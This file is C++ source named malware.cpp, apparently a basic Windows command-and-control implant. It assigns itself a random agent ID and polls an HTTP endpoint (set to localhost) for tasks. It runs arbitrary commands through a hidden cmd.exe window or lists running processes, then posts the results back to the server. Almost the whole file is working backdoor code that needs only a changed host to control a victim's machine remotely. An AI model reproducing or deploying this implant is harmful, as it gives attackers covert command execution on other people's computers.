malware.cpp

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include <random>
#include <TlHelp32.h>
#include <string>
#include <Psapi.h>
#include <sstream>
#include <locale>
#include <codecvt>
#include <map>
#include <regex>


#pragma comment(lib, "wininet.lib")

std::string g_url;
std::string g_endpoint;
std::string g_uniqueId;
bool g_running;
int g_interval;

LPCSTR StringToLPCSTR(const std::string& s) {
    int len;
    int slength = (int)s.length() + 1;
    len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
    wchar_t* buf = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
    return (LPCSTR)buf;
}

LPCWSTR StringToLPCWSTR(const std::string& s) {
    int len;
    int slength = (int)s.length() + 1;
    len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, 0, 0);
    wchar_t* buf = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, s.c_str(), slength, buf, len);
    return buf;
}

std::string VectorToString(const std::vector<std::string>& v) {
    std::string result = "";
    for (const auto& s : v) {
        result += s + " ";
    }
    return result;
}


std::string GetContentFromURL(const char* url)
{
    HINTERNET hSession = InternetOpenA("MyAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hSession)
    {
        std::cerr << "Error: InternetOpenA() failed, Error code: " << GetLastError() << std::endl;
        return "";
    }

    HINTERNET hConnect = InternetConnectA(hSession, "localhost", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    if (!hConnect)
    {
        std::cerr << "Error: InternetConnectA() failed, Error code: " << GetLastError() << std::endl;
        InternetCloseHandle(hSession);
        return "";
    }

    HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", url, NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 1);
    if (!hRequest)
    {
        std::cerr << "Error: HttpOpenRequestA() failed, Error code: " << GetLastError() << std::endl;
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
        return "";
    }

    if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0))
    {
        std::cerr << "Error: HttpSendRequestA() failed, Error code: " << GetLastError() << std::endl;
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hSession);
        return "";
    }

    char buffer[1024];
    DWORD bytesRead;
    std::string content;

    while (InternetReadFile(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead != 0)
    {
        buffer[bytesRead] = '\0';
        content += buffer;
    }

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hSession);

    return content;
}

std::string GenerateUniqueId()
{
    static std::mt19937 generator(std::random_device{}());
    static std::uniform_int_distribution<int> distribution(0, 15);
    static const char* const charset = "0123456789ABCDEF";

    std::string id;
    id.resize(32);
    for (int i = 0; i < 32; i++)
    {
        id[i] = charset[distribution(generator)];
    }
    return id;
}

std::string GetProcessList()
{
    std::wostringstream processList;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe))
        {
            processList << L"Process Name\tPID\n";
            do
            {
                processList << pe.szExeFile << L'\t' << pe.th32ProcessID << L'\n';
            } while (Process32Next(hSnapshot, &pe));
        }
        CloseHandle(hSnapshot);
    }

    std::wstring wstr = processList.str();
    std::wstring_convert<std::codecvt_utf8<wchar_t>, wchar_t> convert;
    return convert.to_bytes(wstr);
}


std::string ExecuteCommand(const std::string& args)
{
    std::ostringstream output;
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    HANDLE hReadPipe, hWritePipe;
    if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
    {
        STARTUPINFO si;
        ZeroMemory(&si, sizeof(STARTUPINFO));
        si.cb = sizeof(STARTUPINFO);
        si.hStdError = hWritePipe;
        si.hStdOutput = hWritePipe;
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
        PROCESS_INFORMATION pi;
        std::wstring cmd = L"cmd.exe /c " + std::wstring(args.begin(), args.end());
        if (CreateProcess(NULL, (LPWSTR)cmd.c_str(), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
        {
            CloseHandle(pi.hThread);
            CloseHandle(hWritePipe);
            char buffer[1024];
            DWORD bytesRead;
            while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0)
            {
                buffer[bytesRead] = '\0';
                output << buffer;
            }
            CloseHandle(hReadPipe);
            WaitForSingleObject(pi.hProcess, INFINITE);
            CloseHandle(pi.hProcess);
        }
        else
        {
            DWORD errorCode = GetLastError();
            std::cerr << "CreateProcess failed with error code: " << errorCode << std::endl;
        }
    }
    else
    {
        DWORD errorCode = GetLastError();
        std::cerr << "CreatePipe failed with error code: " << errorCode << std::endl;
    }
    return output.str();
}


std::map<std::string, std::string> ParseTask(const std::string& data) {
    std::map<std::string, std::string> result;
    std::regex pattern("\"([a-z_]+)\"[ ]*:[ ]*\"([^\"]+)\"");
    std::smatch matches;

    std::string::const_iterator iterStart = data.begin();
    std::string::const_iterator iterEnd = data.end();
    while (std::regex_search(iterStart, iterEnd, matches, pattern)) {
        result[matches[1]] = matches[2];
        iterStart = matches[0].second;
    }

    return result;
}


std::string RunTask(const std::map<std::string, std::string>& task)
{
    if (task.at("task_id") == "99")
    {
        return "No task to complete";
    }

    std::string cmd = task.at("cmd");
    std::vector<std::string> args;
    if (task.count("args") > 0)
    {
        std::stringstream ss(task.at("args"));
        std::string item;
        while (std::getline(ss, item, ','))
        {
            args.push_back(item);
        }
    }

    std::string output;
    if (cmd == "run")
    {
        output = ExecuteCommand(VectorToString(args));
    }
    else if (cmd == "ps")
    {
        output = GetProcessList();
    }
    else
    {
        output = "Unsupported command";
    }
    return output;
}

std::string SendOutput(std::string request_data) {
    HINTERNET hInternet = InternetOpen(L"MyApp", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) {
        return "Error opening Internet session.";
    }

    HINTERNET hConnect = InternetConnect(hInternet, L"localhost", INTERNET_DEFAULT_HTTP_PORT, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConnect) {
        InternetCloseHandle(hInternet);
        return "Error connecting to host.";
    }

    LPCWSTR accept_types[2] = { L"text/*", NULL };
    HINTERNET hRequest = HttpOpenRequest(hConnect, L"POST", StringToLPCWSTR(g_endpoint), NULL, NULL, accept_types, 0, 0);
    if (!hRequest) {
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return "Error creating request handle.";
    }

    
    std::wstring wrequest_data(request_data.begin(), request_data.end());
    LPCWSTR header = L"Content-Type: application/json\r\n";
    BOOL sent = HttpSendRequest(hRequest, header, wcslen(header), (LPVOID)wrequest_data.c_str(), wrequest_data.size());
    if (!sent) {
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return "Error sending request.";
    }

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return "Output sent successfully.\n";
}

bool HandleNoTask(const std::string& output) {
    if (output == "No task to complete") {
        std::cout << "No task to complete. Continuing..." << std::endl;
        return true;
    }
}

int main()
{
    g_running = true;
    g_uniqueId = GenerateUniqueId();
    g_url = "http://localhost/todo?agent_id=" + g_uniqueId;
    g_endpoint = "/todo?agent_id=" + g_uniqueId;
    g_interval = 5000;

    std::cout << "Agent Config" << std::endl;
    std::cout << "---------" << std::endl;
    std::cout << "New agent id: " + g_uniqueId << std::endl;
    std::cout << "Callback URI: " + g_url << std::endl;
    std::cout << "---------" << std::endl;

    std::cout << "[+] Running" << std::endl;
    
    while (g_running)
    {
        std::cout << "[+] Checking for tasks" << std::endl;
        std::string content = GetContentFromURL(g_endpoint.c_str());

        std::cout << "[+] Task collected: " + content << std::endl;
//        std::cout << content << std::endl;

        std::cout << "[+] Parsing task" << std::endl;
        std::map<std::string, std::string> task = ParseTask(content);

        std::cout << "\targs: " << task["args"] << std::endl;
        std::cout << "\tcmd: " << task["cmd"] << std::endl;
        std::cout << "\ttask_id: " << task["task_id"] << std::endl;


        std::string task_id = task.at("task_id");
        
        std::cout << "[+] Sending to task handler" << std::endl;
        std::string output = RunTask(task);
        if (output == "No task to complete") {
            std::cout << "No task to complete" << std::endl;
            Sleep(5000);
            continue;
        }

        std::string request_data = "{\"task_id\": \"" + task_id + "\", \"results\": \"" + output + "\"}";

        std::cout << request_data << std::endl;

        std::cout << "[+] Posting results" << std::endl;
        std::cout << SendOutput(request_data);



        Sleep(5000);
    }
    return 0;
}